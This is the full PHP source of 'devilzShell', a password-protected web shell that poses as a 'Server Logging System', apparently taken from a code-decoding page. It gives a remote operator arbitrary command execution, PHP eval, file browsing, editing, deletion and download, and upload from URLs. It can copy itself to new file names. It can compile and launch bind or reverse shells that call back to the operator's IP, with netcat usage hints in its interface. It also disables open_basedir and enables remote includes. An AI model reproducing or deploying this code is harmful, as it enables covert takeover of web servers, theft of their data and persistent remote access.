<tr><td style=\"width:120px;\">From Url</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"fileurl\" value=\"\" />
</td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadUrl\" value=\"Get\" /></td></tr>
<tr><td style=\"width:120px;\">From Computer</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"file\" name=\"filelocal\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadLocal\" value=\"Get\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newchild\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Shellname</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"childname\" value=\"".$shell_name.".php\"; />
</td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewchild\" value=\"Create\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"div_eval\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td>
<textarea name=\"eval\" style=\"width:100%;height:100px;\"></textarea>
</td></tr><tr>
<td style=\"text-align:right;\"><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnEval\" value=\"Eval\" /></td></tr>
</table>
</form>
</div>
<div class=\"bottomwrapper\">
<div class=\"cmdbox\">
<form action=\"?\" method=\"get\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table style=\"width:100%;\"><tr>
<td style=\"width:88%;\"><input type=\"text\" id=\"cmd\" name=\"cmd\" value=\"\" style=\"width:100%;\" /></td>
<td style=\"width:10%;\"><input type=\"submit\" class=\"btn\" name=\"btnCommand\" style=\"width:120px;\" value=\"Execute\" /></td></tr></table>
</form>
</div>
<div class=\"result\" id=\"result\">
".$result."
</div></div></div></div>
";
}
else {
	$html_title = $shell_fake_name;
	$html_head = "<title>".$html_title."</title>".$shell_style;
	$html_body = "<div style=\"margin:30px;\">
<div>
<form action=\"?\" method=\"post\">
<input id=\"cmd\" type=\"text\" name=\"passw\" value=\"\" />
<input type=\"submit\" name=\"btnpasswd\" value=\"Ok\" />
</form>
</div>
<div style=\"font-size:10px;\">".$shell_fake_name."</div>
</div>
";
}
if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\"";
else $html_onload = "";
$html_final = "<html>
<head>
".$html_head."
</head>
<body ".$html_onload.">
<div id=\"mainwrapper\">
".$html_body."
</div>
</body>
</html>";
echo preg_replace("/\s+/"," ",$html_final);
?>

Did this file decode correctly?

Original Code

<?php
//
// devilzShell <[php]>
// ^^^^^^^^^^^^
// author: b374k
// greets: devilzc0der(s) and all of you who love peace and freedom
//
//
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// Jayalah Indonesiaku


//################ VARIABLES GOES HERE #######################=============================================]
$shell_name = "devilzShell";
$shell_fake_name = "Server Logging System";
$shell_title = " :: ".$shell_name." ::";
$shell_version = "v1";
$shell_password = "devilzc0der";
$shell_fav_port = "12345";
$shell_color = "#374374";

// server software
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// uname -a
$xSystem = trim(php_uname());
// server ip
$xServerIP = $_SERVER["SERVER_ADDR"];
// your ip ;-)
$xClientIP = $_SERVER['REMOTE_ADDR'];

$xHeader = $xSoftware."<br />".$xSystem."<br />Server IP: <span class=\"gaul\">[ </span>".$xServerIP."<span class=\"gaul\"> ]</span>&nbsp;&nbsp;&nbsp;Your IP: <span class=\"gaul\">[ </span>".$xClientIP."<span class=\"gaul\"> ]</span>";

//################# RESOURCES GOES HERE #######################=============================================]
$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw
4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4
E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx
dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei
oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$shell_style = "
<style type=\"text/css\">
*{
	font-family:Tahoma,Verdana,Arial;
	font-size:12px;
	line-height:20px;
}

form{
	margin:0 auto;
	text-align:center;
}

body{
	background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #333333;
	color:#ffffff;
	margin:0;
	padding:0;
}

input,textarea{
	background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
	height:24px;
	color:#ffffff;
	padding:1.5px 4px 0 4px;
	margin:2px 0;
	border:1px solid ".$shell_color.";
	border-bottom:4px solid ".$shell_color.";
	vertical-align:middle;
}

input:hover,textarea:hover{
	background:#0a0a0a;
}

a{
	color:#ffffff;
	text-decoration:none;
}

a:hover{
	border-bottom:1px solid #ffffff;
}

h1{
	font-size:17px;
	height:20px;
	padding:2px 8px;
	background:".$shell_color.";
	border:0;
	border-left:4px solid ".$shell_color.";
	border-right:4px solid ".$shell_color.";
	border-bottom:1px solid #222222;
	margin:0 auto;
	width:90%;
}

h1 img{
	vertical-align:bottom;
}

.box{
	margin:0 auto;
	background:#000000;
	border:4px solid ".$shell_color.";
	padding:4px 8px;
	width:90%;
	text-align:justify;
}

.gaul{
	color:".$shell_color.";
}



.result, .boxcode{
	margin:0 auto;
	border:1px solid ".$shell_color.";
	font-family:Lucida Console,Tahoma,Verdana;
	padding:8px;
	text-align:justify;
	overflow:hidden;
	color:#ffffff;
}


#explorer, table{
	width:100%;
}

table th{
	border-bottom:1px solid ".$shell_color.";
	background:#111111;
	padding:4px;
}

table td{
	padding:4px;
	border-bottom:1px solid #111111;
	vertical-align:top;
}

.tblExplorer tr:hover, .hexview td:hover{
	background:".$shell_color.";
}


.hidden{
	display:none;
}
.tblbox td  {
	margin:0;
	padding:0;
	border-bottom:1px solid #222222;
}

.tblbox tr:hover{
	background:none;
}

#mainwrapper{
	width:100%;
	margin:20px auto;
	text-align:center;
}
#wrapper{
	width:90%;
	margin:auto;

}

.cmdbox{
	border-top:1px solid ".$shell_color.";
	border-bottom:1px solid ".$shell_color.";
	margin:4px 0;
	width:100%;
}

.fpath{
	border-top:1px solid ".$shell_color.";
	border-bottom:1px solid ".$shell_color.";
	margin:4px 0;
	padding:4px 0;
}

.fprop{
	border-top:1px solid ".$shell_color.";
	border-bottom:1px solid ".$shell_color.";
	margin:4px 0;
	padding:4px 0;
}


.bottomwrapper{
	text-align:center;
}

.btn{
	height:24px;
	background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
	font-size:10px;
	text-align:right;
}

.hexview , .hexview td{
	font-family: Lucida Console,Tahoma;
}
</style>
";
//################# FUNCTION GOES HERE #######################==============================================]
function xclean($text){
	if (get_magic_quotes_gpc()) {
		 $text = stripslashes($text);
	}
	return $text;
}
function xcleanpath($path){
	if(is_dir($path)){
		$path = urldecode(trim(xclean($path)));
		$xSlash = DIRECTORY_SEPARATOR;
		while(substr($path,-1) == $xSlash){
			$path = rtrim($path,$xSlash);
		}
		return $path.$xSlash;
	}
	return $path;
}
function xparsedir($dir){
	$xSlash = DIRECTORY_SEPARATOR;
	$dirs = explode($xSlash,$dir);
	$buff = "";
	$dlink = "";
	$system = trim(php_uname());
	if(strtolower(substr($system,0,3)) != "win") {
		$dlink .= urlencode($xSlash);
		$buff .= "<a href=\"?dir=".$dlink."\">".$xSlash."</a>&nbsp;";
	}
	foreach($dirs as $d){
		$d = trim($d);
		if($d != ""){
			$dlink .= urlencode($d.$xSlash);
			$buff .= "<a href=\"?dir=".$dlink."\">".$d." ".$xSlash."</a>&nbsp;";
		}
	}
	return "<span class=\"gaul\">[ </span>".$buff."<span class=\"gaul\"> ]</span>";
}
function xfileopen($file){
	$content = "";
	if(is_file($file) || is_link($file)){
		if($fp = fopen($file,"rb")){
			while(!feof($fp)) {
				$content .= fread($fp,1024);
			}
			fclose($fp);
		}
	}
	return $content;
}
function xfilesave($file,$content){
	$dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
	if(!is_dir($dir)) mkdir($dir);
	if($file != ""){
		$handle = fopen($file, "wb");
		if(fwrite($handle, $content) || ($content == "")){
			fclose($handle);
			return true;
		}
		fclose($handle);
	}
	return false;
}
function xtempfolder() {
    if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
    if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
    if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
    $tempfile=tempnam(__FILE__,'');
    if (file_exists($tempfile)) {
      unlink($tempfile);
      return realpath(dirname($tempfile));
    }
    return null;
}
function xrmdir($dir) {
    $files = glob($dir . '*', GLOB_MARK);
    foreach( $files as $f ){
		if(is_dir($f)) xrmdir($f);
		else unlink($f);
	}
    if (is_dir($dir)) rmdir($dir);
}
function xhighlight($file){
	$color_bg = ini_get('highlight.bg');
	$color_html = ini_get('highlight.html');
	$color_keyword = ini_get('highlight.keyword');
	$color_default = ini_get('highlight.default');
	$color_comment = ini_get('highlight.comment');
	$color_string = ini_get('highlight.string');
	$con = @highlight_file($file,true);
	$con = str_ireplace($color_keyword,"#FF0082",$con);
	$con = str_ireplace($color_default,"#F00000",$con);
	$con = str_ireplace($color_string,"#888888",$con);
	$con = str_ireplace($color_html,"#EEEEEE",$con);
	return $con;
}
function xfilesummary($file){
	$buff = "";
	if(is_file($file) || is_link($file)){
		$buff = "Filesize : ".xparsefilesize(xfilesize($file))." ( ".xfilesize($file)." ) <span class=\"gaul\"> :: </span>Permission : ".xfileperms($file)." ( ".xfileowner($file)." )<span class=\"gaul\"> :: </span>modified : ".xfilelastmodified($file);
	}
	return $buff;
}
function xparsefilesize($size){
	if($size <= 1024) return $size;
	else{
		if($size <= 1024*1024) {
			$size = sprintf("%.02f",@round($size / 1024,2));
			return $size." kb";
		}
		else {
			$size = sprintf("%.02f",@round($size / 1024 / 1024,2));
			return $size." mb";
		}
	}
}
function xfilesize($file){
	if(is_file($file) || is_link($file)){
		if($size = filesize($file)){
			return $size;
		}
	}
	return "0";
}
function xfileperms($file){
	$isreadable = "-";
	$iswriteable = "-";
	if(is_file($file) || is_dir($file) || is_link($file)){
		if(is_readable($file)) $isreadable = "r";
		if(is_writeable($file)) $iswriteable = "w";
	}
	return $isreadable . " / " . $iswriteable;
}
function xfileowner($file){
	if(is_file($file) || is_dir($file) || is_link($file)){
		$fowner = fileowner($file);
		$fgroup = filegroup($file);
		if(function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) {
				$name=posix_getpwuid($fowner);
				$group=posix_getgrgid($fgroup);
				return trim($name['name'].":".$group['name']);
		}
		else{
			return "???";
		}
	}
	return "???";
}
function xdrive(){
	$letters = "";
	foreach (range("A","Z") as $letter){
		$bool = @is_dir($letter.":\\");
		if($bool){
			$letters .= "<a href=\"?dir=".$letter.":\\\"><span class=\"gaul\">[ </span>";
			$letters .= $letter;
			$letters .= "<span class=\"gaul\"> ]</span</a> ";
		}
	}
	if($letters != "") $letters .= "<br />";
	return $letters;
}
function xfilelastmodified($file){
	if(is_file($file) || is_dir($file) || is_link($file)){
		$lastm = date("d-M-Y H:i",filemtime($file));
		return $lastm;
	}
	return "???";
}
function xrunexploit($fpath,$base64,$port,$type){
	$con = base64_decode($base64);
	$system = trim(php_uname());
	$final = "";
	if(preg_match("/win/i",$system)){
		$fname = "bd.exe";
		$ip = "";
		$ok = false;
		$fpath = $fpath.$fname;
		if(is_file($fpath)) unlink($fpath);
		if(!xfilesave($fpath,$con)){
			$tmp = xcleanpath(xtempfolder());
			$fpath = $tmp.$fname;
			if(xfilesave($fpath,$con)) $ok = true;
		}
		else $ok = true;
		if($ok){
			$fpath = trim($fpath);
			if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
			$final .= $fpath." ".$port." ".$ip;
			ekse(trim($final));
			return true;
		}
	}
	else {
		if($type == 'connect') $fname = "back";
		else $fname = "bind";
		$ip = "";
		$ok = false;
		$fpath = $fpath.$fname;
		if(is_file($fpath.".c")) unlink($fpath.".c");
		if(!xfilesave($fpath.".c",$con)){
			$tmp = xcleanpath(xtempfolder());
			$fpath = $tmp.$fname;
			if(xfilesave($fpath.".c",$con)) $ok = true;
		}
		else $ok = true;
		if($ok){
			$fpath = trim($fpath);
			if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
			ekse("gcc ".$fpath.".c -o ".$fpath);
			ekse("chmod +x ".$fpath);
			if(is_file($fpath)){
				$final .= $fpath." ".$port." ".$ip;
				ekse(trim($final));
				return true;
			}
			else return false;
		}
	}
	return false;
}
function xeval($code){
	$code = xclean($code);
	@ob_start();
	@eval($code);
	$buff = @ob_get_contents();
	@ob_end_clean();
	return $buff;
}
function ekse($cmd){
	if(function_exists('system')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('exec')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists('passthru')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('shell_exec')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}
function xdir($path){
	$path = trim($path);
	$path = xcleanpath($path);
	if(is_dir($path)){
		$fname = array();
		$dname = array();
		if($dh = @scandir($path)){
			foreach($dh as $file){
				if(is_dir($file)){
					$dname[] = $file;
				}
				else{
					$fname[] = $file;
				}
			}
		}
		else{
			if($dh = @opendir($path)){
				while($file = @readdir($dh)){
					if(@is_dir($file)){
						$dname[] = $file;
					}
					else{
						$fname[] = $file;
					}
				}
				@closedir($dh);
			}
		}
		natcasesort($fname);
		natcasesort($dname);
		$buff = "<div id=\"explorer\"><table class=\"tblExplorer\">
		<tr><th>Filename</th>
		<th style=\"width:80px;\">Filesize</th>
		<th style=\"width:80px;\">Permission</th>
		<th style=\"width:150px;\">Last Modified</th>
		<th style=\"width:180px;\">Action</th></tr>";
		foreach($dname as $d){
			$sd = $d;
			if($d == "..") {
				$nextdir = "..".DIRECTORY_SEPARATOR."..";
				$d = xcleanpath(realpath($sd));
			}
			elseif($d == ".") {
				$nextdir = "..";
				$d = xcleanpath(realpath($sd));
			}
			else {
				$nextdir = ".";
				$d = xcleanpath(realpath(".".DIRECTORY_SEPARATOR.$sd));
			}
			$dir = $d;
			$nextdir = xcleanpath(realpath($nextdir));
			$buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?dir=".urlencode($d)."';\">
			<td><span style=\"font-weight:bold;\"><a href=\"?dir=".$dir."\">[</span> ".$sd." <span style=\"font-weight:bold;\">]</span></a></td>";
			$buff .= "<td>DIR</td>";
			$buff .= "<td style=\"text-align:center;\">".xfileperms($d)."</td>";
			$buff .= "<td style=\"text-align:center;\">".xfilelastmodified($d)."</td>";
			$buff .= "<td style=\"text-align:center;\"><a href=\"?dir=".$dir."&properties=".xcleanpath(realpath($d))."\">Properties</a> | <a href=\"?dir=".$nextdir."&del=".xcleanpath(realpath($d))."\">Remove</a></td>";
			$buff .= "</tr>";
		}
		foreach($fname as $f){
			$sf = $f;
			$f = $path.$f;
			$view = "?dir=".urlencode($path)."&view=".urlencode($f);
			$buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location='?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."';\"><td>
			<a href=\"?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."\">
			".$sf."</a></td>";
			$buff .= "<td>".xparsefilesize(xfilesize($f))."</td>";
			$buff .= "<td style=\"text-align:center;\">".xfileperms($f)."</td>";
			$buff .= "<td style=\"text-align:center;\">".xfilelastmodified($f)."</td>";
			$buff .= "<td style=\"text-align:center;\"><a href=\"".$view."\">Edit</a> | <a href=\"?get=".$f."\">Download</a> | <a href=\"?dir=".xcleanpath($path)."&del=".$f."\">Remove</a></td>";
			$buff .= "</tr>";
		}
		$buff .= "</table></div>";
		return $buff;
	}
}
//################# INIT GOES HERE #######################==================================================]
error_reporting(0);
@set_time_limit(0);
ini_set("allow_url_fopen" ,1);
ini_set("allow_url_include" ,1);
ini_set("open_basedir",NULL);


if(isset($_POST['passw'])){
	$check = trim($_POST['passw']);
	if($check == $shell_password){
	setcookie("pass",$check,time() + 3600*24*7);
	$m = $_SERVER['SCRIPT_NAME'];
	header("Location: ".$m);
	die();
	}
	else setcookie("pass",$check,time() - 3600*24*7);
}
if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
else $check = "";
if($check == $shell_password){
 $auth = true;
 }
else $auth = false;
if(isset($_GET['img'])){
	$file = xclean($_GET['img']);
	if(is_file($file)){
		@ob_clean();
		$inf = getimagesize($file);
   		$ext = explode(basename($file),".");
   		$ext = $ext[count($ext)-1];
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public");
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  		@header("Cache-control: max-age=".(60*60*24*7));
   	 	@readfile($file);
		exit;
	}
	else{
		$file = $$file;
		$data = base64_decode($file);
		@header("Content-type: image/png");
		@header("Cache-control: public");
		echo $data;
		exit;
	}
}
if(isset($_GET['get']) && ($_GET['get'] != "")){
	$file = xclean($_GET['get']);
	$filez = @file_get_contents($file);
	header("Content-type: application/octet-stream");
	header("Content-length: ".strlen($filez));
	header("Content-disposition: attachment; filename=\"".basename($file)."\";");
	echo $filez;
	exit;
}
$xCwd = xcleanpath(getcwd());
if(isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))){
	$port = $_GET['bportC'];
	$dir = xcleanpath(xclean(trim($_GET['dir'])));
	$system = trim(php_uname());
	if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
	else $base64 = $xBack;
	if(xrunexploit($dir,$base64,$port,"connect")){
	}
}
elseif(isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))){
	$port = $_GET['lportC'];
	$dir = xcleanpath(xclean(trim($_GET['dir'])));
	$system = trim(php_uname());
	if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
	else $base64 = $xBind;
	if(xrunexploit($dir,$base64,$port,"listen")){
	}
}
if(isset($_GET['dir']) && ($_GET['dir'] != "")){
	$newdir = xcleanpath(xclean(trim($_GET['dir'])));
	if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
		$newdir = xcleanpath(xclean(trim($_GET['properties'])));
	}
	if(is_dir($newdir)){
		if(chdir($newdir)) $xCwd = $newdir;
	}
	else{
		$newdir = dirname($newdir);
		if(is_dir($newdir)) if(chdir($newdir)) $xCwd = $newdir;
	}
	if(isset($_POST['btnNewUploadUrl'])){
		$filename = xclean(trim($_POST['filename']));
		$fileurl = xclean(trim($_POST['fileurl']));
		if($filename == "") $filename = basename($fileurl);
		$filepath = $newdir.$filename;
		if($fileurl != ""){
			$con = xfileopen($fileurl);
			xfilesave($filepath,$con);
		}
	}
	elseif(isset($_POST['btnNewUploadLocal'])){
		if(is_uploaded_file($_FILES['filelocal']['tmp_name'])){
			$filename = xclean(trim($_POST['filename']));
			if($filename == "") $filename = $_FILES['filelocal']['name'];
			$tmp_name = $_FILES['filelocal']['tmp_name'];
			$filepath = $newdir.$filename;
			$stat = @move_uploaded_file($tmp_name,$filepath);
		}
	}
	if(isset($_GET['foldername']) && ($_GET['foldername'] != "")){
		$fname = xcleanpath(xclean(trim($_GET['foldername'])));
		if(!is_dir($newdir.$fname))	mkdir($newdir.$fname);
	}
	elseif(isset($_GET['del']) && ($_GET['del'] != "")){
		$fdel = xclean(trim($_GET['del']));
		if(is_file($fdel) || is_link($fdel)) unlink($fdel);
		elseif(is_dir($fdel)){
			xrmdir($fdel);
			$newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
			$newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
		}
	}
	elseif(isset($_GET['childname']) && ($_GET['childname'] != "")){
		$childname = $newdir.xclean(trim($_GET['childname']));
		$con = xfileopen($_SERVER['SCRIPT_FILENAME']);
		xfilesave($childname,$con);
	}
}
if(isset($_GET['cmd']) && ($_GET['cmd'] != "")){
	$cmd = xclean($_GET['cmd']);
	if(preg_match("/^cd(.*)/i",$cmd,$c)){
		$newdir = trim($c[1]);
		$newdir = trim(urldecode(xclean($newdir)));
		if($newdir == "\\")	$xCwd = substr($xCwd,0,3);
		else{
			if(strpos($newdir,":") > 0){
				if(is_dir($newdir))	$xCwd = xcleanpath(realpath($newdir));
			}
			elseif(is_dir($newdir)){
				$xCwd = xcleanpath(realpath($newdir));
			}
			else{
				if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir));
			}
		}
		$result = xdir($xCwd);
	}
	elseif(preg_match("/^(\w{1}:.*)/",$cmd,$dc)){
		$newdir = trim($dc[1]);
		if(is_dir($newdir)){
			$xCwd = xcleanpath($newdir);
		}
		$result = xdir($xCwd);
	}
	else {
		$result = ekse($cmd);
		if($result != "") $result = nl2br(str_replace(" ","&nbsp;",htmlentities($result)));
		else {
			$result = xdir($xCwd);
		}
	}

}
elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
	$result = htmlspecialchars(xeval($_GET['eval']));
}
elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
	$fname = xcleanpath(xclean($_GET['properties']));
	if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
		$oldname = xclean($_GET['oldfilename']);
		rename($oldname,$fname);
	}
	$dir = xclean($_GET['dir']);
	$fcont = "";
	$fview = "";
	if(is_dir($fname)){
		$fsize = "DIR";
		$fcont = xdir($fname);
		$faction = "<a href=\"?dir=".xcleanpath(realpath($fname))."&properties=".xcleanpath(realpath($fname))."\">Properties</a> | <a href=\"?dir=".xcleanpath(realpath($fname.".."))."&del=".xcleanpath(realpath($fname))."\">Remove</a>";
	}
	else{
		$fname = rtrim($fname,DIRECTORY_SEPARATOR);
		$fsize = xparsefilesize(xfilesize($fname))." <span class=\"gaul\">( </span>".xfilesize($fname)." bytes<span class=\"gaul\"> )</span>";
		$type = "";
		if(isset($_GET['type'])) $type = trim(xclean($_GET['type']));
		$iinfo = getimagesize($fname);
		$imginfo = "";
		if($type == ""){
			if(is_array($iinfo)) $type = 'img';
			else $type = 'text';
		}
		if($type == 'code'){
			if($code = xhighlight($fname))
			$fcont = "<div class=\"boxcode\">".$code."</div>";
		}
		elseif($type == 'img'){
			$width = (int) $iinfo[0];
			$height = (int) $iinfo[1];
			$imginfo = "Image type = ( ".$iinfo['mime']." )<br />Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
			if($width > 800){
				$width = 800;
				$imglink = "<p><a href=\"?img=".$fname."\" target=\"_blank\"><span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
			}
			else $imglink = "";

			$fcont = "<div style=\"text-align:center;width:100%;\">".$imglink."<img width=\"".$width."\" src=\"?img=".$fname."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
		}
		else{
			$code = htmlspecialchars(file_get_contents($fname));
			$fcont = "<div class=\"boxcode\">".nl2br($code)."</div>";
		}
		$faction = "<a href=\"?dir=".xcleanpath($dir)."&view=".$fname."\">Edit</a> | <a href=\"?get=".$fname."\">Download</a> | <a href=\"?dir=".xcleanpath($dir)."&del=".$fname."\">Remove</a>";
		$fview = "<a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=text\"><span class=\"gaul\">[ </span>text<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=code\"><span class=\"gaul\">[ </span>code<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=img\"><span class=\"gaul\">[ </span>image<span class=\"gaul\"> ]</span></a>";
	}
	$fowner = xfileowner($fname);
	$fperm = xfileperms($fname);
	$result = "<div style=\"display:inline;\">
	<form action=\"?\" method=\"get\" style=\"margin:0;padding:1px 8px;text-align:left;\">
	<input type=\"hidden\" name=\"dir\" value=\"".$dir."\" />
	<input type=\"hidden\" name=\"oldfilename\" value=\"".$fname."\" />".$faction." |
	<span><input style=\"width:50%;\" type=\"text\" name=\"properties\" value=\"".$fname."\" />
	<input style=\"width:120px\" class=\"btn\" type=\"submit\" name=\"btnRename\" value=\"Rename\" />
	</span>
	<div class=\"fprop\">
	Size = ".$fsize."<br />".$imginfo."
	Owner = <span class=\"gaul\">( </span>".$fowner."<span class=\"gaul\"> )</span><br />
	Permission = <span class=\"gaul\">( </span>".$fperm."<span class=\"gaul\"> )</span><br />
	Create Time = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filectime($fname))."<span class=\"gaul\"> )</span><br />
	Last Modified = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filemtime($fname))."<span class=\"gaul\"> )</span><br />
	Last Accessed = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@fileatime($fname))."<span class=\"gaul\"> )</span><br />
	".$fview."
	</div>
	".$fcont."
	</form>
	</div>
	";
}
elseif((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))){
	$msg = "";
	if(isset($_POST['save']) && ($_POST['save'] == "Save As")){
		$file = xclean(trim($_POST['saveAs']));
		$content = xclean($_POST['filesource']);
		if(xfilesave($file,$content)) $pesan = "File Saved";
		else  $pesan = "Failed to save file";
		$msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>".$pesan."<span class=\"gaul\"> ]</span></span>";
	}
	else {
		if(isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view']));
		else $file = $xCwd.xclean(trim($_GET['filename']));
	}
	$result = xfileopen($file);
	$result = htmlentities($result);
	$result = "
	<p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=".$xCwd."&properties=".$file."\">".xfilesummary($file)."</a>".$msg."</p><div style=\"clear:both;margin:0;padding:0;\"></div>
	<form action=\"?dir=".$xCwd."&view=".$file."\" method=\"post\">
<textarea name=\"filesource\" style=\"width:100%;height:200px;\">".$result."</textarea>
	<input type=\"text\" style=\"width:80%;\"  name=\"saveAs\" value=\"".$file."\" />
	<input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Save As\" />
	</form>
	";
}
else{
	$result = xdir($xCwd);
}
//################# Finalizing #######################======================================================]
if($auth){
	if(isset($_GET['bportC'])) $bportC = $_GET['bportC'];
	else $bportC = $shell_fav_port;
	if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
	else $lportC = $shell_fav_port;
	$html_title = $shell_title." ".$xCwd;
	$html_head = "
<title>".$html_title."</title>
<link rel=\"SHORTCUT ICON\" href=\"".$_SERVER['SCRIPT_NAME']."?img=icon\" />
".$shell_style."
<script type=\"text/javascript\">
function updateInfo(boxid,typ){
	if(typ == 0){
		var pola = 'example: (using netcat) run &quot;nc -l -p __PORT__&quot; and then press Connect';
	}
	else{
		var pola = 'example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." __PORT__&quot;';
	}

	var portnum = document.getElementById(boxid).value;

	var hasil = pola.replace('__PORT__', portnum);
	document.getElementById(boxid+'_').innerHTML = hasil;
}
function show(boxid){
	var box = document.getElementById(boxid);
	if(box.style.display != 'inline'){
		document.getElementById('newfile').style.display = 'none';
		document.getElementById('newfolder').style.display = 'none';
		document.getElementById('newupload').style.display = 'none';
		document.getElementById('newchild').style.display = 'none';
		document.getElementById('newconnect').style.display = 'none';
		document.getElementById('div_eval').style.display = 'none';

		box.style.display = 'inline';
		box.focus();
	}
	else box.style.display = 'none';
}
function highlighthexdump(address){
	var target = document.getElementById(address);
	target.style.background = '".$shell_color."';
}
function unhighlighthexdump(address){
	var target = document.getElementById(address);
	target.style.background = 'none';
}
</script>
";
$html_body = "
<div id=\"wrapper\">
<h1 onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\"  onclick=\"window.location= '?';\"><a href=\"?\">".$shell_title."</a></h1>
<div class=\"box\">".$xHeader."
<div class=\"fpath\">
".xdrive().xparsedir($xCwd)."
</div>
<div class=\"menu\">
<a href=\"javascript:show('newfile');\"><span class=\"gaul\">[ </span> New File<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newfolder');\"><span class=\"gaul\">[ </span>New Folder<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newchild');\"><span class=\"gaul\">[ </span>Replicate<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newupload');\"><span class=\"gaul\">[ </span>Upload<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newconnect');\"><span class=\"gaul\">[ </span>BindShell<span class=\"gaul\"> ]</span></a>
